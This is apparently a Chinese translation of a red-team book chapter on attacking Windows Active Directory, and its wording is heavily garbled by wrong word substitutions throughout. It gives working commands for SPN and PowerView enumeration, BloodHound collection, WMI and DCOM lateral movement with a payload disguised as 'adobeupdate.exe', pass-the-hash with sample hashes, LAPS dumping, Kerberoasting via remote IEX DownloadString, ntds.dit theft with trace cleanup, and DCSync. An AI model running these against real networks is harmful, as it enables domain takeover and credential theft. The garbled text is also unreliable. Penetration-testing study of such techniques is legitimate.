对于红队队员来说,确凿的问题是找到关系劳动器、责任站、用户、劳动以及他们的 Active Directory 环境的可靠信息。在许厚情况下,由于受到蚁集警报和被抓获的风险,咱们无法运行任何疏忽扫描操作,以至无法运行 NMAP 扫描。那么,咱们如何应用蚁集和劳动的“秉性”来查找咱们需要的扫数信息?
Service Principal Names(办当事人体称号)办当事人体称号(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地象征劳动的实例。Kerberos 身份验证使用 SPN 将服求实例与劳动登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。举例,你可以在那些运行 MSSQL 劳动器、HTTP 劳动器、打印劳动器和其他劳动器的劳动帐户找到一个用于劳动的 SPN。对于障碍者来说,查询 SPN 是爆破阶段的浩瀚部分。这是因为任何域用户帐户齐可以查询与 Active Directory 关联的扫数劳动帐户和劳动器的 AD。咱们可以在不扫描单个主机的情况下识别扫数数据库劳动器和 Web 劳动器!
作为一个障碍者,咱们可以应用这些“秉性”来查询 Active Directory。在职何还是加入域的策动机上,障碍者齐可以运行 setspn.exe 文献来查询 Active Directory(AD)。此文献是扫数 Windows 机器默许自带的 Windows 二进制文献。
setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域践诺查询 -F = 在 AD 环境而不是域级别环境践诺查询 -Q = 在每个主义域或林环境上践诺 / = 骄贵扫数咱们可以从 setspn 中看到什么类型的信息?底下,运行 setspn 呐喊,咱们会看到一些在域收敛器上运行的劳动的信息,还关系于责任站的信息,咱们还找到了一个名为 csk-github 的劳动器。在这个劳动器中,咱们可以看到在主机上运行着一个 HTTP 劳动。如果这些同样的条约运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供关系劳动用户和扫数主机名的有用信息,它以至也会告诉咱们哪些劳动正在系统上什么端口上运行。如果咱们可以径直从 AD 中获取劳动以至端口的大部分信息,那为什么咱们还需要扫描蚁集?咱们可能立时障碍的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory我不知说念也曾有几许次,好阻止易找到了一个域用户帐户和密码,却被见告它只是一个莫得其他特权的域用户帐户,但无用挂念。咱们日常可以在打印机,分享信息责任站,带有劳动密码的文本文献,成立文献、iPad、包含密码的 Web 应用步调的页面源代码中中找到这些类型的帐户,然则,对于这些莫得其他构成员履历的基本域用户帐户,你可以用来作念什么?
获取关系 AD 顶用户的详备信息
咱们可以使用 @harmj0y 创建的名为 PowerView 的器具来帮咱们完成扫数的复杂的查询操作。PowerView 是一个 PowerShell 剧本,用于在 Windows 域上得回蚁集拓扑信息。它包含一组纯 PowerShell 呐喊替换项,用于各式 Windows 系统中的 net呐喊,这些呐喊使用 PowerShell AD hooks 和基础的 Win32 API 函数来践诺有用的 Windows 域功能[] 。作为障碍者,咱们可以使用 AD 中低权限用户普通的域用户来应用 PowerView 和 PowerShell 查询 AD(行为目次),以至不需要腹地管制员权限。
让咱们通过一个例子来说明咱们可以从这个低权限用户那里得回几许数据。在一开首,咱们还是在运行 Empire(你可以在 Metasploit、Cobalt Strike 或雷同软件齐可以),并在受害者系统上践诺了 payload。如果你以前从未建立过 Empire,请观望关系建立 Empire 和 Empire payload 的接济章节。一朝咱们的代理(agent)与咱们的呐喊和收敛劳动器通讯,咱们就可以键入 info 以查找关系受害者的信息。在本例中,咱们还是攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,咱们但愿在不引起太多怀疑和扎眼的情况下从域中查询信息,咱们可以使用 Empire 里面的 PowerView 器具来获取信息。PowerView 查询域收敛器(DC)以获取关系用户、用户组、策动机等的信息。咱们这次使用 PowerView 将只用来查询域收敛器,况兼使它看起来像正常通讯。
Empire 下有哪些模块可用于信息采集呢?
咱们可以从 PowerView 剧本的 get_user 的函数名开首。获取指定域中指定查询用户的信息。通过使用默许接济,咱们可以获取关系 AD 顶用户的扫数信息以及关系信息的转储。
Module: situational_awareness/network/powerview/get_user
在上头的转储文献中,咱们可以看到对于其中一个用户 purri gagarin 的信息。咱们得到了什么类型的信息?咱们可以看到他们的 sAMAccountName 或用户名,当他们的密码被调动时,看到他们的对象类别是什么,他们是什么权限组的成员,临了登录的时辰是什么,等等。使用这个基本的用户转储,咱们可以从目次劳动中得回大批的信息。咱们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 复返给特定组的成员,并采纳“recurse”以查找扫数有用的组内成员。咱们可以使用 AD 来查找特定组的特定用户。举例,使用以下 Empire 的接济,咱们可以搜索属于域管制组的扫数域管制员和组:
info set Identity “Domain Admins” set Recurse True set FullData True execute现在,咱们有一个用户、组、劳动器和劳动的采集列表。这将匡助咱们了解哪些用户领有哪些特权。然则,咱们仍然需要关系责任站和系统的详备信息。这可能包括版块、创建日历、用途、主机名等。咱们可以用一个叫作念 get_computer 的模块来得回这些信息。
Module: situational_awareness/network/powerview/get_computer
描绘:get_computer 模块可以查询域中当前的策动机对象。
get_computer 查询域收敛器可以得回什么信息呢?好吧,咱们看到咱们可以得回对于机器的信息,比如当它被创建时的 DNS 主机名,自界说称号等等。作为障碍者,最有用的窥探细节之一是获取操作系统类型和操作系统版块。在这种情况下,咱们可以看到这个系统是 Windows 10 Build 16299版块。咱们可以通过获取这些信息,了解操作系统的最新版块以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。
Bloodhound/Sharphound咱们如何应用在窥探阶段采集的扫数信息来创建一条障碍线路呢?咱们如何能够减弱、快速地得知谁有权限去调用那些功能?纪念一下,咱们老是试图径直障碍,让一切齐达到咱们想要的目的,但这老是会加多被收拢的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 还是创造了一种最好的器具,那即是 Bloodhound/Sharphound。在他们的 Github 页面上骄贵。“Bloodhound/Sharphound 使用图表表面来揭示 Active Directory 环境中荫藏的、出乎意料的关系。障碍者红队可以使用 Bloodhound 减弱识别高度复杂的障碍旅途,不然的话将无法快速识别。堤防者蓝队可以使用 Sharphound 来识别和摈弃对应的的障碍旅途。”[https://github.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的责任旨趣是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(雷同于咱们以前手奇迹念的)。然后,Ingestor 将尝试结合到每个系统以胪列登录的用户、会话和权限。天然,这个动静会很大。对于领受默许接济(可以修改)的中型企业网站,结合到每个主机系统和使用 Sharphound 查询信息的时辰可能不到10分钟。扎眼,因为这会交易到蚁集上每个加入域的系统,是以它可能会让你被发现。Bloodhound/Sharphound 中有一个微妙选项,它只查询 Active Directory,不结合到每个主机系统,然则输出结果相称有限。
咫尺有两种不同的版块(我相信旧版块很快就会被移除):
在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询相称慢的旧的 PowerShell 版块 最好的采纳是 Sharphound,Sharphound 是最原始的 C# 版块 Bloodhound Ingester。这是个更快更结实的版块。可以用作落寞二进制文献,也可以作为 PowerShell 剧本导入。Sharphound PowerShell 剧本将使用反射和 assembly.load 加载已编译 BloodHound C# 版块的 ingestor 并将其拿获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个蚁合方法:
Group - Collect group membership information 采集构成员身份信息 LocalGroup - Collect local admin information for computers 采集策动机的腹地管制信息 Session - Collect session information for computers 采集策动机的会话信息 SessionLoop - Continuously collect session information until killed 持续采集结话信息直到斥逐 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 采集ACL(造访收敛列表)数据 ComputerOnly - Collects Local Admin and Session data 采集腹地管制和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)采集腹地管制信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法采集结话信息(需要管制员权限!) ObjectProps - Collects node property information for users and computers 为用户和策动机采集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 采集构成员、腹地管制员、会话和域信任关系在主义系统上运行 Blood/Sharphound:
运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可践诺文献: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group一朝完成了 Bloundhound/Sharphound,这四个文献将被保存到受害者机器上。下载并处理这些文献,并将它们复制到你的 kali 上。接下来,咱们需要启动 Neo4j 劳动器并导入这些数据来构建关系关系图。
打开 Bloodhound
apt-get install bloodhound neo4j console 打开浏览器造访 :7474 结合到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个终局中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv如果你莫得一个域来测试这个,我还是在这里上传了四个 Bloodhound 文献:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重迭这些老到了。一朝进入 Bloodhound 并导入了扫数数据,咱们就可以去查询“查找到域管制员的最短旅途”。咱们还可以采纳特定的用户,望望是否可以将旅途映射到特定的用户或组。在咱们的示例中,咱们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,咱们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),观望是否可以在这些对象之间骄贵对应的路由旅途。
你可以从 Neil 的机器上看到,咱们可以一齐成功的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。
如果咱们能攻陷 HelpDesk 组,咱们可以转到 Chris 的主机中,而且 Elon Muskkat 咫尺已登录此机器。如果咱们能蜕变到他的程度或窃取他的明文密码,咱们就可以把权限耕作到域管制员!
对于大型蚁集的扫描结果,咱们扎眼到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大公正是,它允许通过我方自身的叫 Cypher 的语言进行原始查询。关系自界说查询的 Cypher 的深入研究,请造访:https://blog.cptjesus.com/posts/introtocypher 。
咱们可以添加哪种自界说查询?来看吧,@porterhau5在推广 Bloodhound 追踪和可视化障碍方面取得了很猛进展。观望他们的著述:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高头绪的角度来看,@porterhau5加多了标记被攻陷主机的想法,以匡助更好地在内网漫游。举例,在这个伪造的场景中,咱们通过仿冒用户 niel.pawstrong 来危害其他驱动用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,咱们可以运行这些查询:
向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”, n.wave=1 运行查询以骄贵扫数被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n现在,咱们可以向 Bloodhound 添加一些自界说查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自界说查询”傍边的“剪辑”按钮。用以下内容替换扫数文本:
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json保存之后,咱们应该创建更多的查询。现在咱们可以单击查找结果“查找从所属节点到域管制员的最短旅途”。
如果你想更仔细地研究这个问题,请观望 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直不雅,并允许更多的自界说功能:https://github.com/porterhau5/bloodhound-owned 。
到咫尺为止,在莫得扫描的情况下,咱们还是能够得回对于该组织的大批信息。这齐是作为腹地 AD 用户(域用户)的权限能作念到的的,而且在大多数情况下,莫得任何蚁集流量看起来太可疑。正如你所看到的,咱们能够作念到这一切,而无需成为腹地管制员或对腹地系统辖有任何管制权限。
Advanced ACL/ACE Bloodhound当使用 Bloodhound 的采集方法造访收敛列表(ACL)类型时,咱们的剧本将查询 AD 以采集用户和对象的扫数造访收敛权限。咱们从造访收敛项(ACEs)采集的信息描绘了用户、组和策动机的允许和断绝权限。寻找和应用 ACEs 自身即是一个能写成完整的书的内容,但这里有一些很好的启动资源:
BloodHound 1.3–acl 障碍旅途更新 https://wald0.com/?p=112 先容对抗性收复方法在将 ACL 数据导入 Bloodhound 时,咱们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弊端的地点。这将包括谁有才调调动或重置密码、向组中添加成员、为其他用户更新剧本旅途等对象、更新对象或在对象上写入新的 ACE 等等。
如何使用这个东西呢?当攻陷到某个用户和得回额外的凭证后,咱们可以通过主义旅途找到一个有才调重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管制员或特权帐户的旅途,以至允许接济后门以供以后使用。了解这些类型的应用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。
横向漫游——移动在一个领有多个用户的机器上,日常的作念法是创建一个新的用户凭证或者转移不同用户的凭证。这种方法大批用于在环境中横向移动,这并不是什么崭新问题。日常,从 Bloodhound 输出或分享责任站,作为障碍者,咱们需要能够师法被攻陷的受害者系统上的其他用户。
咱们领有的许多器具可以用不同的方法来斥逐这一丝。比如 Metasploit,咱们齐应该相称熟悉使用 Post Exploitation 隐敝框架来窃取 token。
在 Empire 中,咱们可以使用窃取 token 来模拟该系统上的用户。我扎眼到,有时候窃取 token 会让咱们的 shell 下线。为了幸免这种情况,咱们可以将一个新的 agent 注入到另一个用户领有的正在运行的程度中。
鄙人面的图片中,咱们使用垂纶让一个职工运行了咱们的坏心软件。。这使得咱们可以在受害者用户的系统中运行咱们我方的步调(neil.pawstrong)。在阿谁用户的系统上,咱们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)呐喊践诺得回了一个新的 agent。这里的问题是,咱们在领先障碍受害者 Neil.Pawstrong 的过程中,因为咱们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,咱们不应该窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 描绘“能够使用 ReflectivePick 将代理注入另一个程度,从而将通用.NET运行库时加载到程度中并践诺特定的 PowerShell 呐喊,而无需启动新的 PowerShell.exe 程度!”[ ],咱们使用它来生成一个全新的、以 buzz.clauldrin 的用户程度运行的 agent,这样咱们现在就可以得回他的造访权限。
离开驱动主机现在你还是找到了将要移动到的潜在旅途,那么得回这些系统的代码践诺的选项是什么?最基本的方法是使用咱们当前的有 Active Directory 权限的用户以得回对另一个系统的收敛权,举个例子,一个司理可以完全造访其下属的策动机,一个领有多个具有管制权限的会议/实验组策动机,他们的里面系统成立诞妄,或者发现存东说念主手动将用户添加到该策动机上的腹地管制组。这齐是普通用户可以领有长途造访到蚁集上的其他责任站的可能的一些方式。一朝攻陷了一台主义机器,咱们既可以获取 Bloodhound 的结果,也可以从头扫描蚁集以观望咱们在哪些机器上具有腹地造访权限:
Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:Empire 的 find_localadmin_access 将查询 Active Directory 中的扫数主机名并尝试结合到它们。这统统是一个会形成很大动静的器具,因为它需要结合到每个主机况兼验证它是否是腹地管制员。
咱们可以看到,Empire 的 find_localadmin_access 模块表明了用户造访咱们的陷坑的是一个 buzz.cyberspacekittens.local 机器。这应该和咱们的 Bloodhound 回显的是一样的。为了再次检查咱们是否有造访权限,我日常会践诺一些非交互的长途呐喊,比如 dir [remote system]\C$ 并观望咱们是否有对 C 盘的读/写权限。
在域内横向移动方面,有好几种作念法。让咱们先来望望 Empire 中最常见的(径直从 Empire 中索要的):
inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证苦求中继到 SMB 主义。如果成功地中继了身份验证,况兼帐户具有较高的权限,则将在主义机器上应用 PSExec 践诺指定的呐喊或 Empire 启动步调。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在腹地/长途主机上践诺 PowerShell 呐喊。如果提供了凭证,则在腹地装入默许管制分享。此呐喊将在启动 msbuild.exe 程度的前后践诺,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在长途主机上践诺 stager。只须受害者启用了 PSRemoting(这不老是启用的),咱们就可以通过此劳动践诺 PowerShell。 invoke_sqloscmd:在长途主机上践诺呐喊或着使用 xp_cmdshell 步调。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在长途主机上践诺 stager。发现主义险些老是启用了 WMI,这是践诺 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对剧本收敛台未经身份验证造访权限的 Windows Jenkins 劳动器。如咱们所知,Jenkins 劳动器是常见的,莫得凭证日常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在长途主机上调用呐喊。允许咱们在不使用 psexec,WMI 或 PSRemoting 的情况下渗入进去。 invoke_psexec:使用 PsExec 类型在长途主机上践诺 stager 功能。这是使用 PsExec 移动文献并践诺的传统方法。这可能会触发警报,但如果莫得其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在长途主机上践诺 stager。咱们可以使用 samba 器具进行雷同的障碍,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在长途主机上践诺呐喊。 invoke_wmi_debugger:使用 WMI 将长途策动机上的主义二进制文献的调试器接济为 cmd.exe 或 stager。使用雷同 sethc(粘滞键)的调试器器具来践诺咱们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”运筹帷幄任务推送到可以剪辑的 GPO,允许在应用 GPO 的系统上践诺代码。[-1-5/]
这些只是一些最毛糙和最常见的横向内网漫游时期。在本书的后头,咱们将谋整齐些不太常见的绕过蚁集的时期。在大多数内网中,日常启用 Windows Management Instrumentation(WMI),因为它是管制责任站所必需的劳动。因此,咱们可以使用 invoke-wmi 横向移动。由于咱们使用的是腹地缓存凭证,且咱们的帐户可以造访长途主机,因此咱们不需要知说念用户的凭证。
在长途系统上践诺
usemodule lateral_movement/invoke_wmi 接济你行将入侵的主机的关系信息: set ComputerName buzz.cyberspacekittens.local 成立你将使用的监听器: set Listener http 结合到长途主机并践诺坏心步调: execute 和新的 agent 交互: agents interact sysinfo 应用 DCOM 的横向移动有许多方法可以在主机上进行单次横向移动。如果露出的帐户具有造访权限,或者你能够使用拿获的凭证创建令牌,咱们可以使用 WMI、PowerShell 长途呐喊践诺或 PSExec 生成不同的 shell。如果这些践诺呐喊的方法受到监控如何办?咱们通过使用漫衍式组件对象模子(DCOM)斥一一些很酷的 Windows 功能。DCOM 是用于在不同长途策动机上的软件组件之间通讯的 Windows 功能。
你可以使用 Powershell 呐喊列出策动机的扫数 DCOM 应用步调:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(举例 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上长途践诺代码。当列出扫数 DCOM 应用步调(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只须咱们的帐户有权造访,咱们就可以应用此功能在长途责任站上践诺二进制文献。
powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)这将只在系统腹地践诺文献,况兼咱们不成将任何呐喊行参数包含到可践诺文献中(因此不成使用 cmd /k 类型的障碍)。相背,咱们可以从长途系统调用文献并践诺它们,但请扎眼,用户将收到警告的弹窗。在本例中,我咫尺在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管制造访一个名为 buzz 的长途责任站。咱们将在 Neil 的责任站上分享一个文献夹,并托管咱们的 payload。接下来,咱们可以调用 DCOM 对象在长途受害者(buzz)策动机上践诺托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你鄙人一张图片中看到的,Buzz 的策动机上出现了一个对于运行 adobeupdate.exe 文献的弹出窗口。天然大多数用户齐会点击并运行这个,但它可能会让咱们被主义察觉。
因此,幸免这个问题的更好方法是在使用 DCOM 践诺该文献之前将该文献移到上头(雷同于装载受害者的驱动器)。@Enigam0x3对此作念得更进一步,并应用 Excel 宏来使用 DCOM。最先,咱们需要在我方的系统上创建坏心 Excel 文档,然后使用 PowerShell 剧本在受害者主机上践诺此.xls 文献。
需要扎眼的一丝是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或住手劳动等等。这无疑为进一步研究 DCOM 功能提供了很好的启航点。
参考文献:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash昔时传递腹地管制帐户 Pass-The-Hash(PTH)的方法在很大程度上还是开首消失。天然还莫得完全消失,但让咱们快速回顾一下。PTH 障碍应用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭证。这是很浩瀚的一丝,最先,使用 Mimikatz 这样的器具可以很容易地收复哈希,可以为腹地帐户索要哈希(但需要腹地管制员权限),可以从转储域收敛器(不是明文密码)中收复哈希(DCsync)等等。
PTH 最基本的用途是障碍腹地管制员。由于默许情况下腹地管制员帐户已被禁用,况兼出现了更新的安全功能,举例腹地管制员密码惩办有运筹帷幄(LAPS),为每个责任站创建随秘籍码,因此日常很少使用上述这种方法。昔时,在一个责任站上获取腹地管制帐户的哈希值在通盘组织中是可以用同样的方法斥逐的,这意味着一个易受障碍的有运筹帷幄会使通盘公司歇业。
天然,这要求你必须是系统上的腹地管制员,启用腹地管制员帐户“administrator”,况兼它是 RID 500帐户(意味着它必须是原始管制员帐户,不成是新创建的腹地管制员帐户)。
践诺呐喊: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never如果咱们看到帐户处于行为状态,咱们可以尝试从腹地策动机中索要扫数哈希值。请记着,这不会包括任何域账户哈希:
Empire Module: powershell/credentials/powerdump Metasploit Module:举例:
(Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE输出:
Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::咱们可以使用 Empire(credentials/mimikatz/pth)或者启动确凿任的 psexec,提交咱们的哈希,并践诺咱们的自界说 payload,如下图所示:
如前所述,这是一种现在有数的陈腐的横向移动方式。如果你仍在商量应用腹地管制员帐户,但所处的环境有 LAPS(腹地管制员密码惩办有运筹帷幄),你可以使用几个不同的将它们从 Active Directory 中转储出的器具。这假设你还是领有一个域管制员或 Helpdesk 类型帐户的权限:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]这是保持横向移动而不刊出 Helpdesk 用户帐户的好方法。
从劳动帐户获取凭证如果你发现我方处于一个用户权限受限、无法从内存中索要密码、主机系统上莫得密码的情况下,该如何办...接下来该如何办?好吧,我最心爱的障碍之一是 Kerberoasting。
咱们齐知说念 NTLM 存在劣势,这是由于单向哈希(不含盐)、重放障碍和其他传统问题形成的,这亦然许多公司转向领受 Kerberos 的原因。如咱们所知,Kerberos 是一种安全的方法,用于对策动机蚁集中的劳动苦求进行身份验证。咱们不会深入研究 Windows 中的 Kerberos 斥逐。然则,你应该知说念域收敛器日常充任单子授予的劳动器;蚁集上的用户可以苦求单子授予劳动器以获取资源造访权的凭证。
什么是最严重的障碍?作为障碍者,咱们可以掌捏咱们之前索要的主义劳动帐户的任何 SPN 苦求 Kerberos 劳动票证。疏忽在于,当从域收敛器苦求劳动单子时,该票证使用关联的劳动用户的 NTLM 哈希加密。由于任何用户齐可以苦求任何单子,这意味着,如果咱们可以猜测关联劳动用户的 NTLM 哈希(加密单子的)的密码,那么咱们现在就知说念执行劳动帐户的密码。这听起来可能有点令东说念主困惑,是以让咱们来看一个例子。
与以前雷同,咱们可以列出扫数的SPN劳动。这些是咱们将为其索要扫数 Kerberos 单子的劳动帐户:
setspn -T cyberspacekittens.local -F -Q /咱们可以将单个用户的 SPN 作为主义,也可以将扫数用户的 Kerberos 单子拉入用户的内存中:
针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将扫数用户单子拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 天然,你也可以使用 powersploit 践诺此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/如果成功的话,咱们还是将一个或多个不同的 Kerberos 票证导入到受害者策动机的内存中。咱们现在需要一种方法来索要单子。咱们可以使用好器具 Mimikatz Kerberos 导出:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’一朝咱们导出这些票证,它们将仍会驻留在受害者的机器上。在咱们开首破解它们之前,咱们必须从它们的系统中下载它们。请记着,单子是用劳动帐户的 NTLM 哈希加密的。是以,如果咱们能猜到 NTLM 哈希,咱们就可以读取单子,现在也知说念劳动帐户的密码。破解账户最毛糙的方法是使用一个名为 tgsrepcrack 的器具(JTR 和 Hashcat 也救助破解 Kerberoast,稍后咱们将谋划)。使用 Kerberoast 破解票证:
使用 Kerberoast 来破解单子: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]在这个例子中,劳动帐户 csk-github 的密码是“p@ssw0rd!”
天然,Empire 有一个 PowerShell 模块为咱们作念扫数需要作念的事情。它位于 powershell/credentials/invoke_kerberoast 目次下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 以至 Hashcat 来破解密码并输出结果。我以前在相称大的蚁集环境中运行 PowerShell 剧本时遭遇过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将扫数的单子齐获取下来。
转储域收敛器哈希一朝咱们得回了域管制造访权,从 DC 中索要扫数哈希的老方法即是在域收敛器上运行呐喊,并使用 Shadow Volume 或原始拷贝时期索要 ntds.dit 文献。
回顾磁盘卷影复制时期由于咱们确乎可以造访文献系统,况兼可以作为障碍者在域收敛器上运行呐喊,因此咱们但愿获取存储在 ntds.dit 文献中的扫数域内哈希。横祸的是,该文献络续地被读和写,即使作为系统,咱们也无法读取或复制该文献。红运的是,咱们可以应用名为 Volume Shadow Copy Service 磁盘复制劳动(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后咱们可以从该副本中读取 Ntds.dit 文献将其获取出来。并将其从策动机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文献。临了,咱们需要计帐咱们的萍踪并删除磁盘拷贝:
C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=]NinjaCopy
Ninjacopy 是另一个器具,一朝咱们在域收敛器上,就可以用来获取 Ntds.dit 文献。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文献。这将绕过文献 DACL(苟且造访收敛列表)、读取句柄锁和 SACL(系统造访收敛列表)。但你必须是管制员才能运行这个剧本。这可用于读取日常锁定的系统文献,如 NTDS.dit 文献或注册表成立单位。”[]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.ditDCSync
现在,咱们还是回顾了从 DC 索要哈希的老方法,这些方法要求你在 DC 上运行系统呐喊,况兼日常需要在该策动机上删除一些文献,让咱们络续谋划新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域收敛器转储哈希的玩法。DCSync 的倡导是它模拟域收敛器来苦求该域顶用户的扫数哈希。这意味着,只须你有权限,就不需要运行任何域收敛器上的呐喊,也不必删除 DC 上的任何文献。
然则要使 DCSync 责任,必须具有从域收敛器中索要哈希的适当权限。日常是限于域管制员、企业管制员、域收敛器用户组以及将复制调动权限接济为允许(即复制扫数调动和复制目次调动)的任何东说念主,DCSync 将允许你的用户践诺此障碍。这种障碍领先是在 Mimikatz 开发的,可以使用以下呐喊运行:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]更好的是,DCSync 被引入了 PowerShell Empire 这样的器具,以使其更容易斥逐。
Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump
观望 DCSync hashdump,咱们可以看到 Active Directory 顶用户的扫数 NTLM 哈希。此外,咱们还有 krbtgt NTLM 哈希,这意味着咱们现在(或在将来的行为中)可以践诺 Golden Ticket attacks(黄金单子障碍)。
